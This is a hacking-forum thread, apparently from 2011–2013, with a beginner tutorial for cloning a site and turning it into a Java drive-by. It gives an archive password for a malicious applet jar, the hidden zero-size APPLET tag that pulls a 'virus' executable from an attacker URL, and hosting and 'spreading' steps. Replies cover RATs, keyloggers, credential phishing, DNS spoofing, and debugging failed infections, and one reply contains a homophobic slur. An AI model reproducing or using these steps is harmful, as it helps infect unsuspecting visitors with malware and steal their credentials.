Thread: [\[Noob friendly\] How to clone any site and turn it into a Java drive-by](#)

Manwë - February 8, 2011, 9:05 am

I'm done with BlackHat activity, I won't provide any more support for this guide. In other words do not PM me about this. From now on I'll -3 anyone who PMs me regarding this guide, I've had enough of people ignoring this paragraph. The exception is if the link's dead, then you can PM me.

It's in the spoiler if you want to see it.

Spoiler \(Click to View\)

This is my first tutorial on HF, please be nice. ?

The client.jar file and the applet code is SinlorD's, so all credits for those goes to him.

Download

You'll only need one file, client.jar. The password for the archive is "s!oeV0Estl" (without the quotes).

Is the link dead? Please PM me.

Downloading a web page

Well, obviously we have a web page we want to download. In this example I'll be using <http://www.google.com/>. Right click anywhere on the page and click "save as". And save it to an empty folder. I'm using Chrome but I know firefox has a similar feature.

Editing the index file

Now open the folder where you saved the file. You'll see you'll have a file and a folder. Rename the file from whatever.htm to index.htm and accept any warning you may get.

Now open up index.htm in notepad. Scroll down to the very bottom of the page, make a new line and add this text:

Code <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
    <PARAM NAME = "AMLMAFOIEA" VALUE = "YOURVIRUSURL">
</APPLET>

Replace "YOURVIRUSURL" with the link to your .exe virus.

Save and close the file.

Placing the .jar file

Quick step, copy the client.jar you downloaded earlier to the same folder as the index.htm.

That's it! Upload all of the files in the folder (including the folder "whatever_files" and the files you might have inside) to a webhost and begin spreading!

Link to the virus. It has to be a direct link. You can get a direct link on sites like www.fileleave.com.

Yes, you have to upload ever file although that shouldn't be the problem. Are you sure you renamed the htm file to index.htm? Make sure it's not index.htm.htm.

The drive-by itself doesn't require any port-forwarding, if you're using it to spread a RAT you'll need the RAT set up correctly of course.

If you use a keylogger as the exe it will record keystrokes.

is there a way to make the site record emails and passwords entered on it? for phishing or anything like that?

d0rk-Influence - February 25, 2011, 7:57 am

You can't just use the index on a majority of sites, due to their being adds and other scripts that the site needs to run in order to match a 100% replicate.

You forgot to mention that they will need to upload EVERY file from the save_page folder in order for most sites to work properly, I currently have a very large collection of working sites in-case you want to use them for your tutorial. :)

d0rk-Influence - February 25, 2011, 8:12 am

Each page if you look at the downloaded files has different CSS and Javascript codes that if you do not have, it will completely screw over the java driveby, and no you do not need a specific hosting site to do this, you just need to upload EVERY file from the downloaded folder.

Note: If you use SPAM you will be suspended and reported to the police by the site.

Faggots think they are cool snitching to the p0lic3 they shouldn't give free hosting then.

Well that's true.

It should be pretty easy uploading all the files using ftp though, if you can find a host where you can use ftp.

Hi,

First, i want to say that I'm new to hacking and java-drive-by so forgive me if my question is stupid.

Now, can I use the java-drive by attack to modify an existing firefox extension in a stealth way?

For example, After the extension is modified, the following will occur.

"the browser will then display certain web pages incorrectly."

Moreover, can this attack take place without having the user to press "run" when the pop-up window appears?

Very nice tutorial, if i didn't get banned from every free webhosting website i uploaded java drive bys to then i would be all over this

Do0ks - March 3, 2011, 5:53 pm

Damn dude, you killed it and very easy to understand. Keep up the good work mate. The only thing I see going wrong with this is the url. Other then that if you are on the same network you would always DNS spoof. Thanks dude.

YoDa - March 3, 2011, 6:07 pm

Very useful and well explained :)

Bravo to you. I think that all of these posts show you this tutorial was not only a success but also helped a lot of people.

complexintro - March 11, 2012, 12:44 pm

Dude, thanks SO MUCH for this!

I have seen one video tut that was using Java drive by to infect a user and it was awesome, but I left wondering how he did that, since he didn't explain that he actually used this method.

KS17 - March 11, 2012, 12:50 pm

Might use this actually, thanks haha. Beats creating your own crappy ass site :P

complexintro - March 11, 2012, 1:02 pm

Hey I just tried it on my computer(didnt upload anything) and it doesn't start my exe file :/
I opened it in IE6 and it didn't wanna start even though I allowed "risky content".

Try either to run a calc or some other exe in the drive-by instead of the rat or try running your rat normally to see where the problem lies.

Don't extract it, just upload the jar file itself. As for spreading, there are several methods :) I'm sure you can figure something original out.

eduard25 - May 3, 2013, 3:22 am

Man, I uploaded the virus fine in #. I run it in # as fine. But when I open the webpage and I'm prompted to accept java noinfection happens. Why is this so? Any clue?

One dumm question. When I save as (as suggested) the webpage I want to clone the new page comes all messed up. If I just open the source code in notepad, add the new code to the bottom and save it everything is as perfect as the original page. Am I doing anything wrong? Anyway, one way or the other this is not working for me as no infection happens

Jakobabob - May 3, 2013, 3:26 pm
